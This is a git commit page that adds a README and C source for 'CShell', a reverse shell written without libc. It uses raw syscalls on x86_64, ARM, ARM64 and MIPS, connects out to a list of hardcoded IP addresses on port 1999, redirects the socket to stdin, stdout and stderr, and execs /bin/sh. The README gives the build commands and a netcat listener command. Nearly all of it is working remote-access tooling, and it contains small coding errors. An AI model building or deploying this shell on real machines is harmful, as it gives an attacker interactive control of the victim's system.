Upload files to "/"
This commit is contained in:
parent
985fcf3311
commit
fa99936407
34
README.md
34
README.md
@ -1,3 +1,33 @@
|
||||
# Cshell
|
||||
# CShell
|
||||
a reverse shell in C made without using libc at all
|
||||
|
||||
a reverse shell written in C without using stdlib or libc
|
||||
## features
|
||||
1- doesnt use libc at all
|
||||
2- works on X86 and ARM32 and ARM64 (and untested support for MIPS)
|
||||
3- can use multiple servers
|
||||
## how to set up
|
||||
1- from the project root, run
|
||||
```Bash
|
||||
gcc -nostdlib -o bcshell bcdshell.c
|
||||
```
|
||||
for additional debug output, run
|
||||
```Bash
|
||||
gcc -nostdlib -o bcshell bcdshell.c -DDEBUG
|
||||
```
|
||||
to define the DEBUG macro
|
||||
make sure to put -nostdlib as it has no reliance on libc.
|
||||
2- on the server, use netcat with
|
||||
```Bash
|
||||
nc -lvp 1999
|
||||
```
|
||||
3- on the client, run the binary
|
||||
```Bash
|
||||
./bcshell
|
||||
```
|
||||
and see the shell and run it on the server
|
||||
## notes
|
||||
1- supports Linux
|
||||
2- supports an actual interactive, stateful shell to /bin/sh
|
||||
3- binary size is less than 20KB
|
||||
4- works on ANY linux device even without libc at all
|
||||
5- only supports IPs, not domains
|
||||
191
bcdshell.c
Normal file
191
bcdshell.c
Normal file
@ -0,0 +1,191 @@
|
||||
/*
|
||||
NO STDLIB reverse shell
|
||||
supports X86_64, ARM, ARM64
|
||||
CAN USE MULTIPLE SERVERS
|
||||
to compile:
|
||||
gcc -nostdlib -o bcshell bcdshell.c
|
||||
(yes, it doesnt use libc, so itll work on a pure linux system with just TCP and syscalls)
|
||||
to run on the server:
|
||||
nc -lvp 1999
|
||||
*/
|
||||
#define AF_INET 2
|
||||
#define SOCK_STREAM 1
|
||||
#if defined (__x86_64__) // the syscall numbers on x86_64
|
||||
#define SYS_socket 41
|
||||
#define SYS_connect 42
|
||||
#define SYS_write 1
|
||||
#define SYS_exit 60
|
||||
#define SYS_fork 57
|
||||
#define SYS_execve 59
|
||||
#define SYS_pipe 22
|
||||
#define SYS_read 0
|
||||
#define SYS_close 3
|
||||
#define SYS_dup2 33
|
||||
#define SYS_wait4 61
|
||||
#define SYS_read 0
|
||||
#elif defined(__arm__) // the syscall numbers on 32 bit ARM
|
||||
#define SYS_read 3
|
||||
#define SYS_write 4
|
||||
#define SYS_close 6
|
||||
#define SYS_pipe 42
|
||||
#define SYS_dup2 63
|
||||
#define SYS_socket 281
|
||||
#define SYS_connect 283
|
||||
#define SYS_fork 2
|
||||
#define SYS_execve 11
|
||||
#define SYS_exit 1
|
||||
#define SYS_wait4 114
|
||||
|
||||
#elif defined(__aarch64__) //the syscall numbers on 64-bit ARM
|
||||
#define SYS_read 63
|
||||
#define SYS_write 64
|
||||
#define SYS_close 57
|
||||
#define SYS_pipe 59
|
||||
#define SYS_dup2 33 // dup3 is 292, but dup2 is kept for compatibility
|
||||
#define SYS_socket 198
|
||||
#define SYS_connect 203
|
||||
#define SYS_fork 220 // clone is used instead of fork
|
||||
#define SYS_execve 221
|
||||
#define SYS_exit 93
|
||||
#define SYS_wait4 260
|
||||
#elif defined(__mips__)
|
||||
#define SYS_read 4003
|
||||
#define SYS_write 4004
|
||||
#define SYS_close 4006
|
||||
#define SYS_pipe 4042
|
||||
#define SYS_dup2 4063
|
||||
#define SYS_wait4 4114
|
||||
#define SYS_exit 4001
|
||||
#define SYS_fork 4002
|
||||
#define SYS_execve 4011
|
||||
#define SYS_socket 4183
|
||||
#define SYS_connect 4184
|
||||
#endif
|
||||
#define CMD_SHELL "/bin/sh"
|
||||
struct sockaddr_in {
|
||||
unsigned short sin_family;
|
||||
unsigned short sin_port;
|
||||
unsigned int sin_addr;
|
||||
unsigned char pad[8];
|
||||
};
|
||||
//unsigned char pad[8];
|
||||
// Minimal syscall shim for x86-64, it KINDA works tho
|
||||
#if defined (__x86_64__)
|
||||
static long my_syscall(long n, long a1, long a2, long a3,
|
||||
long a4, long a5, long a6) {
|
||||
long ret;
|
||||
register long r10 asm("r10") = a4;
|
||||
register long r8 asm("r8") = a5;
|
||||
register long r9 asm("r9") = a6;
|
||||
asm volatile("syscall"
|
||||
: "=a"(ret)
|
||||
: "a"(n), "D"(a1), "S"(a2), "d"(a3),
|
||||
"r"(r10), "r"(r8), "r"(r9)
|
||||
: "rcx", "r11", "memory");
|
||||
return ret;
|
||||
}
|
||||
#elif defined(__arm__)
|
||||
static inline long my_syscall(long n, long a1, long a2, long a3,
|
||||
long a4, long a5, long a6) {
|
||||
register long r0 asm("r0") = a1;
|
||||
register long r1 asm("r1") = a2;
|
||||
register long r2 asm("r2") = a3;
|
||||
register long r3 asm("r3") = a4;
|
||||
register long r4 asm("r4") = a5;
|
||||
register long r5 asm("r5") = a6;
|
||||
register long r7 asm("r7") = n;
|
||||
asm volatile("swi 0"
|
||||
: "=r"(r0)
|
||||
: "r"(r0), "r"(r1), "r"(r2), "r"(r3),
|
||||
"r"(r4), "r"(r5), "r"(r7)
|
||||
: "memory");
|
||||
return r0;
|
||||
}
|
||||
#elif defined(__aarch64__)
|
||||
static inline long my_syscall(long n, long a1, long a2, long a3,
|
||||
long a4, long a5, long a6) {
|
||||
register long x0 asm("x0") = a1;
|
||||
register long x1 asm("x1") = a2;
|
||||
register long x2 asm("x2") = a3;
|
||||
register long x3 asm("x3") = a4;
|
||||
register long x4 asm("x4") = a5;
|
||||
register long x5 asm("x5") = a6;
|
||||
register long x8 asm("x8") = n;
|
||||
asm volatile("svc 0"
|
||||
: "+r"(x0)
|
||||
: "r"(x1), "r"(x2), "r"(x3),
|
||||
"r"(x4), "r"(x5), "r"(x8)
|
||||
: "memory");
|
||||
return x0;
|
||||
}
|
||||
#elif defined (__mips__)
|
||||
static long my_syscall(long n, long a1, long a2, long a3,
|
||||
long a4, long a5, long a6) {
|
||||
long ret;
|
||||
asm volatile (
|
||||
"subu $sp, $sp, 16\n\t"
|
||||
"sw %5, 0($sp)\n\t"
|
||||
"sw %6, 4($sp)\n\t"
|
||||
"syscall\n\t"
|
||||
"addiu $sp, $sp, 16\n\t"
|
||||
: "=v"(ret)
|
||||
: "v"(n), "r"(a1), "r"(a2), "r"(a3), "r"(a4), "r"(a5), "r"(a6)
|
||||
: "$a0", "$a1", "$a2", "$a3", "$sp", "memory"
|
||||
);
|
||||
return ret;
|
||||
}
|
||||
#endif
|
||||
void start_shell(int sock);
|
||||
void print(const char *msg);
|
||||
int create_socket();
|
||||
void cleanup(int exitcode);
|
||||
void _start() { // the first function to run, also the true entry point
|
||||
struct sockaddr_in servers[] = {
|
||||
{AF_INET, __builtin_bswap16(1999), 0x0100007F, {0}}, // 127.0.0.1 on port 1999
|
||||
{AF_INET, __builtin_bswap16(1999), 0xC0A80001, {0}}, // 192.168.0.1 on port 1999
|
||||
{AF_INET, __builtin_bswap16(1999), 0x0A000001, {0}}, // 10.0.0.1 on port 1999
|
||||
};
|
||||
int sock = create_socket();
|
||||
for (int i = 0; i < sizeof(servers)/sizeof(servers[0]); i++) {
|
||||
long ret = my_syscall(SYS_connect, sock, (long)&servers[i], sizeof(servers[i]), 0,0,0);
|
||||
if (ret == 0) {
|
||||
// success
|
||||
#ifdef DEBUG
|
||||
const char *msg = "successfully connected!\n"; // dont know why it only prints success
|
||||
print(msg);
|
||||
#endif
|
||||
start_shell(sock);
|
||||
break;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
else {
|
||||
const char *failmsg = "fail\n";
|
||||
print(failmsg);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
cleanup(0);
|
||||
}
|
||||
void start_shell(int sock) {
|
||||
// Redirect socket to stdin, stdout, stderr so we get a true interactive terminal
|
||||
my_syscall(SYS_dup2, sock, 0,0,0,0,0);
|
||||
my_syscall(SYS_dup2, sock, 1,0,0,0,0);
|
||||
my_syscall(SYS_dup2, sock, 2,0,0,0,0);
|
||||
|
||||
// Exec a persistent shell for a real terminal experience
|
||||
const char *argv[] = { CMD_SHELL, 0 };
|
||||
const char *envp[] = { 0 };
|
||||
my_syscall(SYS_execve, (long)CMD_SHELL, (long)argv, (long)envp, 0,0,0);
|
||||
// If exec fails, cleanup
|
||||
cleanup(1);
|
||||
}
|
||||
void print(const char *msg) {
|
||||
my_syscall(SYS_write, 1, (long)msg, sizeof(msg)-1, 0, 0, 0);
|
||||
return;
|
||||
}
|
||||
int create_socket() {
|
||||
my_syscall(SYS_socket, AF_INET, SOCK_STREAM, 0,0,0,0);
|
||||
}
|
||||
void cleanup(int exitcode) { // ye we NEED WRAPPERS, CUZ MANUALLY USING MY_SYSCALL IS GONNA BE A PAIN!
|
||||
my_syscall(SYS_exit, exitcode,0,0,0,0,0);
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user